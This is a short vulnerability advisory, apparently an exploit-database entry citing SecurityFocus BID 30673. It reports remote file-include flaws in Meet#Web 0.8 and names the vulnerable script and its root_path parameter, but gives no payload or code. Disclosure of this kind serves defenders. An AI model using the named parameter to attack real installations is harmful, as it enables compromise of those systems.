Meet#Web 0.8 - 'RegForm.class.php?root_path' Remote File Inclusion

source: https://www.securityfocus.com/bid/30673/info
   
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
Meet#Web 0.8 is vulnerable; other versions may also be affected.
